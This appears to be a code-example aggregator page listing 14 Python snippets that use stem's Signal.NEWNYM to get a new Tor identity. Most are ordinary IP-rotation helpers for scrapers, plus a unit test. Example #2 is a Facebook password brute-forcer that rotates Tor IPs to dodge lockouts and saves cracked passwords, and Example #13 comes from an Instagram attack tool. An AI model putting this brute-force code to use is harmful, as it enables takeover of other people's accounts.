Python stem.Signal.NEWNYM Examples
The following are 14
code examples of stem.Signal.NEWNYM().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
stem.Signal
, or try the search function
.
Example #1
Source File: swtch.py From bane with MIT License | 6 votes |
def tor_switch_with_password(interval=30,password=None,p=9051,logs=True): ''' this one does work on any OS, you just need to activate tor's control port 9051 and set the password. it takes the next parameters: new: (set by default to: 30) the interval in seconds between switching tor's nodes password: your password p: (set by default to: 9051) tor's control port logs: (set by default to: True) showing the screen prints ''' if password==None: print("[-]you need to put your control port's password for authentication!!!") else: while True: try: with Controller.from_port(port = p) as controller: controller.authenticate(password =password ) controller.signal(Signal.NEWNYM) controller.close() if logs==True: print("IP changed, sleeping for {} seconds...".format(interval)) time.sleep(interval) except KeyboardInterrupt: break
Example #2
Source File: fb.py From facebrute with GNU General Public License v3.0 | 5 votes |
def function(email,passw): headers = {'User-Agent':random.choice(open('user-agents.txt').read().splitlines()),'Accept-Language':'en-US,en;q=0.5'} payload['email'] = email payload['pass'] = passw e = '' if l == 1:e = requests.get('https://api.ipify.org',proxies=proxy,verify=False).text with Controller.from_port(port = 9051) as c: c.authenticate() c.signal(Signal.NEWNYM) A=requests.post(post_url,data=payload,headers=headers,proxies=proxy,verify=False) soup = BeautifulSoup(re.sub("</"," </", A.text),"lxml") for s in soup(["style","script"]):s.decompose() clean = re.sub("To personalize content, tailor and measure ads, and provide a safer experience, we use cookies. By tapping on the site, you agree to our use of cookies on and off Facebook. Learn more, including about controls: Cookies Policy . Facebook ","", re.sub(' +',' ',soup.get_text())) print('\n ['+str(k)+'/'+str(g)+'] Trying',passw+' '+e+' FB says '+clean[:28]) open(email+'_response.txt','a').write(clean+' '+passw) if 'Facebook ' in clean[:9] or 'Please confirm your identity' in clean or 'Your account has been temporarily locked' in clean: open('found.txt','a').write('\nUsername='+email+' Password='+passw) quit('\n \033[1;32m[+] Congrats!!! Password is : '+passw+' [+] Saved : found.txt\n\n') elif'Please try again later'in clean or 'You Can\'t Do That Right Now' in clean: open(email+'_left_password.txt','a').write(passw+'\n') print('\033[93m [+] IP used so much.\n [+] Password Saved in '+email+'_left_password.txt') m = input(' [+] Enter minutes to sleep for or nothing for no sleep : ') if(m.isdigit()): print(' [+] Waiting for '+m+' minutes...\033[97m') time.sleep(int(m)*60) return False else: return False
Example #3
Source File: utils.py From mlconjug with MIT License | 5 votes |
def renew_tor_circuit(self): """ Renews the Tor circuit. Sends a NEWNYM message to the Tor network to create a new circuit. :return: bool. Whether a new tor ciruit was created. """ def renew_circuit(password): """ Sends a NEWNYM message to the Tor network to create a new circuit. :param password: :return: bool. """ controller.authenticate(password=password) if controller.is_newnym_available(): # true if tor would currently accept a NEWNYM signal. controller.signal(Signal.NEWNYM) print('New Tor circuit created') result = True else: delay = controller.get_newnym_wait() print('Delay to create new Tor circuit: {0}s'.format(delay)) result = False return result # Needs to reload the default socket to be able to send the is_newnym_avilable and get_newnym_wait signals reload(socket) if isinstance(self.controlport, int): with Controller.from_port(port=self.controlport) as controller: is_renewed = renew_circuit(self.password) elif isinstance(self.controlport, basestring): with Controller.from_socket_file(path=self.controlport) as controller: is_renewed = renew_circuit(self.password) else: is_renewed = False gevent.monkey.patch_socket() return is_renewed
Example #4
Source File: proxy.py From PythonScrapyBasicSetup with MIT License | 5 votes |
def change_ip_address(self): with Controller.from_port(port=self.control_port) as controller: controller.authenticate(self.password) controller.signal(Signal.NEWNYM) controller.close()
Example #5
Source File: torghost.py From torghost with GNU General Public License v3.0 | 5 votes |
def switch_tor(): print(t() + ' Please wait...') time.sleep(7) print(t() + ' Requesting new circuit...',) with Controller.from_port(port=9051) as controller: controller.authenticate() controller.signal(Signal.NEWNYM) print(bcolors.GREEN + '[done]' + bcolors.ENDC) print(t() + ' Fetching current IP...') print(t() + ' CURRENT IP : ' + bcolors.GREEN + ip() + bcolors.ENDC)
Example #6
Source File: FakeUA.py From FakeUA with MIT License | 5 votes |
def NewID(): controller.signal(Signal.NEWNYM) loger.error(colored('切换线路', 'red'))
Example #7
Source File: get_reformagkh_atd.py From reformagkh with GNU General Public License v2.0 | 5 votes |
def change_proxy(): with Controller.from_port(port = 9151) as controller: controller.authenticate(password="password") controller.signal(Signal.NEWNYM)
Example #8
Source File: get_reformagkh_myhouse.py From reformagkh with GNU General Public License v2.0 | 5 votes |
def change_proxy(): with Controller.from_port(port = 9151) as controller: controller.authenticate(password="password") controller.signal(Signal.NEWNYM)
Example #9
Source File: get_reformagkh_overhaul.py From reformagkh with GNU General Public License v2.0 | 5 votes |
def change_proxy(): with Controller.from_port(port = 9151) as controller: controller.authenticate(password="password") controller.signal(Signal.NEWNYM)
Example #10
Source File: tor.py From kalel with GNU General Public License v3.0 | 5 votes |
def switch_tor(): print t()+" Please wait..." time.sleep(7) print t()+" Requesting new circuit...", with Controller.from_port(port=9051) as controller: controller.authenticate() controller.signal(Signal.NEWNYM) print bcolors.GREEN+"[done]"+bcolors.ENDC print t()+" Fetching current IP..." print t()+" CURRENT IP : "+bcolors.GREEN+ip()+bcolors.ENDC f = open('module/tor/tor.ip', 'w') f.write(ip()) f.close()
Example #11
Source File: changer.py From TorIpChanger with MIT License | 5 votes |
def _obtain_new_ip(self): """ Change Tor's IP. """ with Controller.from_port( address=self.tor_address, port=self.tor_port ) as controller: controller.authenticate(password=self.tor_password) controller.signal(Signal.NEWNYM) # Wait till the IP 'settles in'. sleep(self.post_new_ip_sleep)
Example #12
Source File: test_changer.py From TorIpChanger with MIT License | 5 votes |
def test_obtain_new_ip(self, mock_from_port, mock_sleep): """ Test that '_obtain_new_ip' obtains new Tor IP and expected methods are called while doing so within the context manager. """ tor_ip_changer = TorIpChanger(post_new_ip_sleep=1.0) tor_ip_changer._obtain_new_ip() mock_from_port.assert_any_call(address=TOR_ADDRESS, port=TOR_PORT) mock_controler = mock_from_port.return_value.__enter__() mock_controler.signal.assert_any_call(Signal.NEWNYM) mock_controler.authenticate.assert_any_call(password=TOR_PASSWORD) mock_sleep.assert_called_once_with(1.0)
Example #13
Source File: InstagramPySession.py From instagram-py with MIT License | 5 votes |
def ChangeIPAddress(self): if not self.tor_controller == None: # signal tor to change ip self.tor_controller.signal(Signal.NEWNYM) self.ip = self.bot.get( 'https://icanhazip.com').content.rstrip().decode() return True return False
Example #14
Source File: pytor.py From PyTor with GNU General Public License v2.0 | 5 votes |
def newId(): global changeIDInPregress changeIDInPregress = True with Controller.from_port(port = 9051) as controller: controller.authenticate(password = password) controller.signal(Signal.NEWNYM) time.sleep(3) changeIDInPregress = False